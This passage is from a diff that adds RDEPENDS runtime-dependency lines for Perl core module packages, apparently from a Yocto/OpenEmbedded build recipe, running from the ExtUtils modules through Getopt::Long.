+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-dynaloader"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-extutils-mksymlists"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-file-temp"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-ipc-cmd"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-text-parsewords"
+RDEPENDS:perl-module-extutils-cbuilder-base += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-aix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-android += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-cygwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-darwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-dec-osf += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-extutils-cbuilder-platform-unix"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-os2 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-unix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-config"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-vms += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-bcc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-gcc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows-msvc += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-extutils-cbuilder-base"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-io-file"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-strict"
+RDEPENDS:perl-module-extutils-cbuilder-platform-windows += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-extutils-command"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-extutils-install"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-getopt-long"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-strict"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-test-harness"
+RDEPENDS:perl-module-extutils-command-mm += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-command += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-command += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-command += "perl-module-strict"
+RDEPENDS:perl-module-extutils-command += "perl-module-vars"
+RDEPENDS:perl-module-extutils-command += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-constant"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-text-wrap"
+RDEPENDS:perl-module-extutils-constant-base += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-proxysubs"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant += "perl-module-extutils-constant-xs"
+RDEPENDS:perl-module-extutils-constant += "perl-module-filehandle"
+RDEPENDS:perl-module-extutils-constant += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-xs"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-proxysubs += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-constant"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-posix"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-utils += "perl-module-vars"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant-base"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-extutils-constant-utils"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-constant-xs += "perl-module-vars"
+RDEPENDS:perl-module-extutils-embed += "perl-module-config"
+RDEPENDS:perl-module-extutils-embed += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-embed += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-embed += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-embed += "perl-module-getopt-std"
+RDEPENDS:perl-module-extutils-embed += "perl-module-strict"
+RDEPENDS:perl-module-extutils-installed += "perl-module-config"
+RDEPENDS:perl-module-extutils-installed += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-installed += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-installed += "perl-module-extutils-packlist"
+RDEPENDS:perl-module-extutils-installed += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-installed += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-installed += "perl-module-strict"
+RDEPENDS:perl-module-extutils-install += "perl-module-autosplit"
+RDEPENDS:perl-module-extutils-install += "perl-module-config"
+RDEPENDS:perl-module-extutils-install += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-install += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-install += "perl-module-extutils-packlist"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-compare"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-install += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-install += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-text-parsewords"
+RDEPENDS:perl-module-extutils-liblist-kid += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-extutils-liblist-kid"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-strict"
+RDEPENDS:perl-module-extutils-liblist += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-config"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-config += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-base"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-encode"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-encode-alias"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-i18n-langinfo"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-locale += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-b"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-cpan"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-makemaker-version"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-manifest"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-mm"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-extutils-my"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-version"
+RDEPENDS:perl-module-extutils-makemaker += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-strict"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-vars"
+RDEPENDS:perl-module-extutils-makemaker-version += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-config"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-copy"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-file-path"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-strict"
+RDEPENDS:perl-module-extutils-manifest += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-extutils-embed"
+RDEPENDS:perl-module-extutils-miniperl += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-config"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-dynaloader"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mkbootstrap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-config"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mksymlists += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-aix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-autosplit"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-cpan"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-data-dumper"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-version"
+RDEPENDS:perl-module-extutils-mm-any += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-beos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-cygwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-darwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-dos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-macos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-macos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-nw5 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-os2 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-os390 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-qnx += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-encode"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-liblist"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-vars"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-version"
+RDEPENDS:perl-module-extutils-mm-unix += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-uwin += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-liblist-kid"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-file-find"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-vms += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-vos += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-mm-any"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-extutils-mm-unix"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-win32 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-extutils-makemaker-config"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-extutils-mm-win32"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-strict"
+RDEPENDS:perl-module-extutils-mm-win95 += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-my += "perl-module-extutils-mm"
+RDEPENDS:perl-module-extutils-my += "perl-module-strict"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-config"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-packlist += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-constants += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-constants += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-parsexs-countlines += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-eval += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-eval += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-config"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-countlines"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-eval"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-extutils-parsexs-utilities"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-file-basename"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-re"
+RDEPENDS:perl-module-extutils-parsexs += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-strict"
+RDEPENDS:perl-module-extutils-parsexs-utilities += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-pl2bat += "perl-module-config"
+RDEPENDS:perl-module-extutils-pl2bat += "perl-module-strict"
+RDEPENDS:perl-module-extutils-pl2bat += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-cwd"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-lib"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-strict"
+RDEPENDS:perl-module-extutils-testlib += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-cmd += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-inputmap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-inputmap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-re"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-outputmap += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-parsexs"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-parsexs-constants"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-inputmap"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-outputmap"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-extutils-typemaps-type"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps += "perl-module-warnings"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-extutils-typemaps"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-strict"
+RDEPENDS:perl-module-extutils-typemaps-type += "perl-module-warnings"
+RDEPENDS:perl-module-fatal += "perl-module-autodie"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-exception-system"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-hints"
+RDEPENDS:perl-module-fatal += "perl-module-autodie-util"
+RDEPENDS:perl-module-fatal += "perl-module-config"
+RDEPENDS:perl-module-fatal += "perl-module-constant"
+RDEPENDS:perl-module-fatal += "perl-module-fcntl"
+RDEPENDS:perl-module-fatal += "perl-module-posix"
+RDEPENDS:perl-module-fatal += "perl-module-strict"
+RDEPENDS:perl-module-fatal += "perl-module-tie-refhash"
+RDEPENDS:perl-module-fatal += "perl-module-warnings"
+RDEPENDS:perl-module-fcntl += "perl-module-exporter"
+RDEPENDS:perl-module-fcntl += "perl-module-strict"
+RDEPENDS:perl-module-fcntl += "perl-module-xsloader"
+RDEPENDS:perl-module-fields += "perl-module-base"
+RDEPENDS:perl-module-fields += "perl-module-hash-util"
+RDEPENDS:perl-module-fields += "perl-module-strict"
+RDEPENDS:perl-module-file-basename += "perl-module-exporter"
+RDEPENDS:perl-module-file-basename += "perl-module-re"
+RDEPENDS:perl-module-file-basename += "perl-module-strict"
+RDEPENDS:perl-module-file-basename += "perl-module-warnings"
+RDEPENDS:perl-module-filecache += "perl-module-parent"
+RDEPENDS:perl-module-filecache += "perl-module-strict"
+RDEPENDS:perl-module-file-compare += "perl-module-exporter"
+RDEPENDS:perl-module-file-compare += "perl-module-strict"
+RDEPENDS:perl-module-file-compare += "perl-module-warnings"
+RDEPENDS:perl-module-file-copy += "perl-module-config"
+RDEPENDS:perl-module-file-copy += "perl-module-exporter"
+RDEPENDS:perl-module-file-copy += "perl-module-file-basename"
+RDEPENDS:perl-module-file-copy += "perl-module-strict"
+RDEPENDS:perl-module-file-copy += "perl-module-warnings"
+RDEPENDS:perl-module-file-dosglob += "perl-module-strict"
+RDEPENDS:perl-module-file-dosglob += "perl-module-text-parsewords"
+RDEPENDS:perl-module-file-dosglob += "perl-module-warnings"
+RDEPENDS:perl-module-file-dosglob += "perl-module-xsloader"
+RDEPENDS:perl-module-file-fetch += "perl-module-constant"
+RDEPENDS:perl-module-file-fetch += "perl-module-cwd"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-basename"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-copy"
+RDEPENDS:perl-module-file-fetch += "perl-module-filehandle"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-path"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-temp"
+RDEPENDS:perl-module-file-fetch += "perl-module-ipc-cmd"
+RDEPENDS:perl-module-file-fetch += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-file-fetch += "perl-module-load"
+RDEPENDS:perl-module-file-fetch += "perl-module-params-check"
+RDEPENDS:perl-module-file-fetch += "perl-module-strict"
+RDEPENDS:perl-module-file-fetch += "perl-module-vars"
+RDEPENDS:perl-module-file-find += "perl-module-cwd"
+RDEPENDS:perl-module-file-find += "perl-module-exporter"
+RDEPENDS:perl-module-file-find += "perl-module-file-basename"
+RDEPENDS:perl-module-file-find += "perl-module-strict"
+RDEPENDS:perl-module-file-find += "perl-module-warnings"
+RDEPENDS:perl-module-file-find += "perl-module-warnings-register"
+RDEPENDS:perl-module-file-globmapper += "perl-module-file-glob"
+RDEPENDS:perl-module-file-globmapper += "perl-module-strict"
+RDEPENDS:perl-module-file-globmapper += "perl-module-warnings"
+RDEPENDS:perl-module-file-glob += "perl-module-exporter"
+RDEPENDS:perl-module-file-glob += "perl-module-strict"
+RDEPENDS:perl-module-file-glob += "perl-module-xsloader"
+RDEPENDS:perl-module-filehandle += "perl-module-exporter"
+RDEPENDS:perl-module-filehandle += "perl-module-fcntl"
+RDEPENDS:perl-module-filehandle += "perl-module-io-file"
+RDEPENDS:perl-module-filehandle += "perl-module-strict"
+RDEPENDS:perl-module-file-path += "perl-module-cwd"
+RDEPENDS:perl-module-file-path += "perl-module-exporter"
+RDEPENDS:perl-module-file-path += "perl-module-file-basename"
+RDEPENDS:perl-module-file-path += "perl-module-strict"
+RDEPENDS:perl-module-file-path += "perl-module-vars"
+RDEPENDS:perl-module-file-stat += "perl-module-class-struct"
+RDEPENDS:perl-module-file-stat += "perl-module-constant"
+RDEPENDS:perl-module-file-stat += "perl-module-exporter"
+RDEPENDS:perl-module-file-stat += "perl-module-fcntl"
+RDEPENDS:perl-module-file-stat += "perl-module-overload "
+RDEPENDS:perl-module-file-stat += "perl-module-strict"
+RDEPENDS:perl-module-file-stat += "perl-module-warnings"
+RDEPENDS:perl-module-file-stat += "perl-module-warnings-register"
+RDEPENDS:perl-module-file-temp += "perl-module-constant"
+RDEPENDS:perl-module-file-temp += "perl-module-cwd"
+RDEPENDS:perl-module-file-temp += "perl-module-errno"
+RDEPENDS:perl-module-file-temp += "perl-module-exporter"
+RDEPENDS:perl-module-file-temp += "perl-module-fcntl"
+RDEPENDS:perl-module-file-temp += "perl-module-file-path"
+RDEPENDS:perl-module-file-temp += "perl-module-io-seekable"
+RDEPENDS:perl-module-file-temp += "perl-module-overload"
+RDEPENDS:perl-module-file-temp += "perl-module-parent"
+RDEPENDS:perl-module-file-temp += "perl-module-posix"
+RDEPENDS:perl-module-file-temp += "perl-module-strict"
+RDEPENDS:perl-module-filter-simple += "perl-module-filter-util-call"
+RDEPENDS:perl-module-filter-simple += "perl-module-text-balanced"
+RDEPENDS:perl-module-filter-util-call += "perl-module-exporter"
+RDEPENDS:perl-module-filter-util-call += "perl-module-strict"
+RDEPENDS:perl-module-filter-util-call += "perl-module-warnings"
+RDEPENDS:perl-module-filter-util-call += "perl-module-xsloader"
+RDEPENDS:perl-module-findbin += "perl-module-cwd"
+RDEPENDS:perl-module-findbin += "perl-module-exporter"
+RDEPENDS:perl-module-findbin += "perl-module-file-basename"
+RDEPENDS:perl-module-findbin += "perl-module-strict"
+RDEPENDS:perl-module-findbin += "perl-module-warnings"
+RDEPENDS:perl-module-gdbm-file += "perl-module-exporter"
+RDEPENDS:perl-module-gdbm-file += "perl-module-strict"
+RDEPENDS:perl-module-gdbm-file += "perl-module-tie-hash"
+RDEPENDS:perl-module-gdbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-gdbm-file += "perl-module-xsloader"
+RDEPENDS:perl-module-getopt-long += "perl-module-constant"
+RDEPENDS:perl-module-getopt-long += "perl-module-exporter"
+RDEPENDS:perl-module-getopt-long += "perl-module-overload"
+RDEPENDS:perl-module-getopt-long += "perl-module-pod-usage"
+RDEPENDS:perl-module-getopt-long += "perl-module-strict"
+RDEPENDS:perl-module-getopt-long += "perl-module-text-parsewords"
